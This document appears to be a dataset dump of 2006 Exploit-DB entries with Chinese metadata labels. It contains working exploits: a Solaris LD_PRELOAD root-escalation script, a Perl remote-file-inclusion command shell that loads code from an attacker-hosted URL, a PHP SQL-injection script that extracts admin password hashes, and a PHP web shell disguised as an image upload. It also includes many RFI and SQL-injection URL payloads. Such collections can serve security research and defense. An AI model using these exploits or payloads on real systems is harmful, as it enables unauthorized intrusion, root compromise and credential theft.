QLWD/code_shield huggingface dataset:
标题: Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (2) EDB-ID: 2569 CVE: 2006-4842 类型: LOCAL 平台: SOLARIS 发布日期: 2006-10-16 漏洞利用脚本: #!/bin/sh

#
# $Id: raptor_libnspr2,v 1.4 2006/10/16 11:50:48 raptor Exp $
#
# raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to
# create or overwrite arbitrary files on the system. The problem exists 
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with 
# elevated privileges (CVE-2006-4842).
#
# Newschool version of local root exploit via LD_PRELOAD (hi KF!). Another
# possible (but less l33t;) attack vector is /var/spool/cron/atjobs.
#
# See also: http://www.0xdeadbeef.info/exploits/raptor_libnspr
#
# Usage:
# $ chmod +x raptor_libnspr2
# $ ./raptor_libnspr2
# [...]
# Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
# # id
# uid=0(root) gid=0(root)
# # rm /usr/lib/secure/getuid.so
# #
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
#
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr2 - Solaris 10 libnspr LD_PRELOAD exploit"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/usr/lib/secure/getuid.so
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme -rw-rw-rw-!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/lib/sendmail
#/usr/sbin/lpmove
#/usr/bin/login
#/usr/bin/su
#/usr/bin/mailq

# prepare the evil shared library
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /usr/lib/secure/getuid.so /tmp/getuid.c -lc
if [ $? -ne 0 ]; then
 echo "problems compiling evil shared library, check your gcc"
 exit 1
fi

# newschool LD_PRELOAD foo;)
unset NSPR_LOG_MODULES NSPR_LOG_FILE
LD_PRELOAD=/usr/lib/secure/getuid.so su -

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2569
标题: Def-Blog 1.0.3 - 'comadd.php' SQL Injection EDB-ID: 2567 CVE: 2006-5383 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: #==============================================================================================
#Def-Blog <= v1.0.1 (article) Remote SQL Injection Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.easy-script.com/Def_Blog_V.1.0.1.zip    
#                                                                     
#Version : v1.0.1                                           
#                                                       
#
#Exploit :
#--------------------------------
#
#FOR USER : comadd.php?article=-1%20union%20select%20null,pseudo%20from%20def_user
#FOR PASS : comadd.php?article=-1%20union%20select%20null,mdp%20from%20def_user
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2567
标题: AROUNDMe 0.5.2 - 'templatePath' Remote File Inclusion EDB-ID: 2562 CVE: 2006-5401 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: ---------------------------------------------------------------------------
AROUNDMe <= 0.5.2 [templatePath] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : AROUNDMe
version : 0.5.2
Download: http://savannah.gnu.org/download/aroundme/aroundme_0_5_2.tar.tgz
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $templatePath not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/template/barnraiser_01/p_new_password.tpl.php?templatePath=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2562
标题: NuralStorm Webmail 0.98b - 'process.php' Remote File Inclusion EDB-ID: 2561 CVE: 2006-5386 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: ---------------------------------------------------------------------------
NuralStorm Webmail <= 0.98b Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : NuralStorm Webmail Client
version : 0.98b
Download: http://art-futura.w.interia.pl/przyklady/file/webmail098b.zip
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $DEFAULT_SKIN not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/process.php?DEFAULT_SKIN=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2561
标题: phpBurningPortal 1.0.1 - 'lang_path' Remote File Inclusion EDB-ID: 2563 CVE: 2006-7102 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: #!/usr/bin/perl

use LWP::UserAgent;
use LWP::Simple;

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$fileno = @ARGV[3];

if(!$target || !$shellsite)
{
    usage();
}

header();

if ($fileno eq 1)
{
    $file = "quest_delete.php?lang_path=";
}
elsif ($fileno eq 2)
{
    $file = "quest_edit.php?lang_path=";
}
elsif ($fileno eq 3)
{
    $file = "quest_news.php?lang_path=";
}
else
{
    $file = "quest_delete.php?lang_path=";
}

print "[cmd]\$";
$cmd = <STDIN>;

while ($cmd !~ "exit")
{
    $xpl = LWP::UserAgent->new() or die;
        $req =
HTTP::Request->new(GET=>$target'/modules/includes/'.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $r = $res->content;
        $r =~ tr/[\n]/[&#234;]/;

    if (@ARGV[4] eq "-r")
    {
        print $r;
    }

    print "[cmd]\$";
    $cmd = <STDIN>;
}

sub header()
{
    print q
    {
########################################################################
    phpBurningPortal quiz-modul-1.0.1 - Remote File Include Exploit
               Vulnerability discovered and exploit by r0ut3r
                       writ3r@gmail.com
            For portal administrator testing purposes only!
########################################################################
    };
}

sub usage()
{
header();
    print q
    {
########################################################################
Usage:
perl q_xpl.pl <Target website> <Shell Location> <CMD Variable> <No> <r>
<Target Website> - Path to target eg: www.qvuln.target.com
<Shell Location> - Path to shell eg: www.badserver.com/s.txt
<CMD Variable> - Shell command variable name eg: cmd
<No> - File number, corresponding to:
1: quest_delete.php
2: quest_edit.php
3: quest_news.php
<r> - Show output from shell
Example:
perl a.pl http://localhost http://localhost/s.txt cmd 1 -r
########################################################################
    };
exit();
}

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2563
标题: Simplog 0.9.3.1 - 'comments.php' SQL Injection EDB-ID: 2574 CVE: 2006-5398 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: #!/usr/bin/php
<?php
 /*********************************************************************
 * Simplog 0.9.3.1 Remote SQL Injection Vulnerability 
 * 
 * Note:
 * Requires at least one blog entry to be made prior to injection
 *
 * Usage: 
 * php script.php [host] [path] [user id]
 *
 * Usage Example:
 * php script.php domain.com /simplog/ 1
 *
 * Googledork:
 * intext:Powered by Simplog
 *
 * Credits:
 * Disfigure - Vulnerability research and discovery
 * Synsta - Exploit scripting
 * 
 * [w4ck1ng] - w4ck1ng.com
 *********************************************************************/

if(!$argv[3 ]){
die("Usage:
php $argv[0] [host] [path] [user id]\n
Usage Example:
php $argv[0] domain.com /simplog/ 1\n");
}

if($argv[3]){

function send($host, $put){
global $data;
$conn = fsockopen( gethostbyname($host),"80" );
if(!$conn) {
die("Connection to $host failed...");
}else{
fputs($conn, $put);
}
while(!feof($conn)) {
$data .=fgets( $conn);
}
fclose($conn);
return $data;
}

$host = $argv[ 1];
$path = $argv[ 2];
$userid = $argv[ 3];

$sql = urlencode( "-1 union select 9,9,9,login,9,password,9,9 from blog_users where admin=$userid");
$req =  "GET ". $path."comments.php?op=edit&cid=". "$sql HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
//$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Type: text/plain\r\n" ;
$req .= "Connection: Close\r\n\r\n" ;
send("$host", "$req");

$aname = explode( "><input type=text name=cname maxlength=64 value=\"",$data);
$bname = explode( "\">",$aname[1 ]);
$name = $bname[ 0];
$ahash = explode( "<textarea name=comment rows=10 cols=40 wrap=physical>",$data);
$bhash = explode( "</textarea>",$ahash[1 ]);
$hash = $bhash[ 0];

if(strlen($hash) !=  32){ 
die("Exploit failed..\n"); 
}else{ 
die("Username: $name MD5: $hash\n"); 
}
}
?>

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2574
标题: CentiPaid 1.4.2 - 'centipaid_class.php' Remote File Inclusion EDB-ID: 2555 CVE: 2006-6976 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-14 漏洞利用脚本: ---------------------------------------------------------------------------
CentiPaid <= 1.4.2 [absolute_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CentiPaid
version : 1.4.2
URL : http://www.centipaid.com/centi/download/centipaid_php-1.4.2.tar.gz
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $absolute_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/centipaid_class.php?absolute_path=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-14] URL: https://www.exploit-db.com/exploits/2555
标题: phpBB ACP User Registration Mod 1.0 - Remote File Inclusion EDB-ID: 2551 CVE: 2006-5390 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
          .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
          ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
          .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
          ..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
          .................................................................
        
               phpBB ACP User Registration (MMW) Mod 1.00 File Inclusion Vulnerability


Date: 2006/10/13
Time: 18:20:57 => GMT+1:00

Founder: bd0rk || SOH-Crew
Website: www.soh-crew.it.tt
Greetz: str0ke, Perle, Tr4ileR, nukedx

Download: http://www.phpbb.com/phpBB/catdb.php?mode=download&id=1988012

Code: include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[+]Exploit: http://[target]/[directory]/includes/functions_mod_user.php?phpbb_root_path=http://Sh3llScript?

# milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2551
标题: E-Uploader Pro 1.0 - Image Upload / Code Execution EDB-ID: 2556 CVE: 2006-6694 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-14 漏洞利用脚本: :::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
 
 
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- E-Uploader Pro <= 1.0 Remote Code Execution Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: E-Uploader Pro 1.0
- [Script site: http://www.scriptsfrenzy.com/euploader.html
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-      SkD, nukedclx, Ramzes, t3k, dn0d'e, sysios, SpiderZ
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

devilteam.jpg source: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland:)";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>

Name:*: devilteam
Email:* devilteam@hackers.pl
File:* upload evil devilteam.jpg ;]

Click: Upload

then....

[devilteam.jpg] uploaded


Your upload has been successful!


....

 Uploader Name
 devilteam639
 
Now insert:

http://strona.pl/uploader/include/config.php?language=../../root/devilteam639/devilteam.jpg?cmd=ls -la

echo Hacker_Kacper_Made_in_Poland:)

E-Uploader Pro Game Over ;]

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

# milw0rm.com [2006-10-14] URL: https://www.exploit-db.com/exploits/2556
标题: Jinzora 2.6 - '/extras/mt.php' Remote File Inclusion EDB-ID: 2558 CVE: 2006-7131 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-14 漏洞利用脚本: #  ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
#  Jinzora 2.6 - Remote File Include Vulnerabilities
 
# site    : Www.Hack-Medya.Org
 
# Script  :  http://www.jinzora.com/downloads/j2.6.zip
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com
 
# Thanks  : Liz0zim, Bitter.Melish, D3ngsz, Rmx, Di_lejyoner, Xoron
 
# Vulnerable :
 
     http://www.site.com/[path]/extras/mt.php?web_root=[shell]

# milw0rm.com [2006-10-14] URL: https://www.exploit-db.com/exploits/2558
标题: CampSite 2.6.1 - 'g_documentRoot' Remote File Inclusion EDB-ID: 2560 CVE: 2006-5910 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: ---------------------------------------------------------------------------
CampSite - BugReporter <= 2.6.1 Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CampSite - BugReporter
version : 2.6.1
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $g_documentRoot not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/implementation/management/priv/bugreporter/thankyou.php?g_documentRoot=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2560
标题: CyberBrau 0.9.4 - '/forum/track.php' Remote File Inclusion EDB-ID: 2559 CVE: 2006-5400 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: ---------------------------------------------------------------------------
CyberBrau <= 0.9.4 [path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CyberBrau
version : 0.9.4
URL : http://cyberbrau.sourceforge.net/downloads/cyberbrau-0.9.4a.tgz
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/forum/track.php?path=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2559
标题: YaBBSM 3.0.0 - 'Offline.php' Remote File Inclusion EDB-ID: 2553 CVE: 2006-5413 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: [DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006]
[SOFTWARE]    Supermod 3.0 for yabb
[VENDOR URL]  http://www.supermod.org
[DORK]        YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE
[NOTES]       greetz to: neo-vortex, sk0tie, icez, Solano College CIS students.
 

VULN:
Offline.php
include("$sourcedir/pclzip.lib.php");
They forgot to include settings.php, this file seems to not exist sometimes.
 
VULN:
Sources/Admin.php
include_once("$sourcedir/Recent.php");
 
VULN:
Sources/Offline.php
include_once("$sourcedir/Recent.php");
 
VULN:
content/portalshow.php
include_once "$sourcedir/Calendar.php";
 
[EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?

# milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2553
标题: IncCMS Core 1.0.0 - 'settings.php' Remote File Inclusion EDB-ID: 2557 CVE: 2006-5304 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-14 漏洞利用脚本: :::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
 
 
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- IncCMS Core <= 1.0.0 (settings.php) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: IncCMS Core 1.0.0
- [Script site: http://www.inccms.com/core/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-      SkD, nukedclx, Ramzes, t3k, dn0d'e, sysios, SpiderZ
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

http://www.site.com/[incCMS_path]/inc/settings.php?inc_dir=[evil_script]

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

# milw0rm.com [2006-10-14] URL: https://www.exploit-db.com/exploits/2557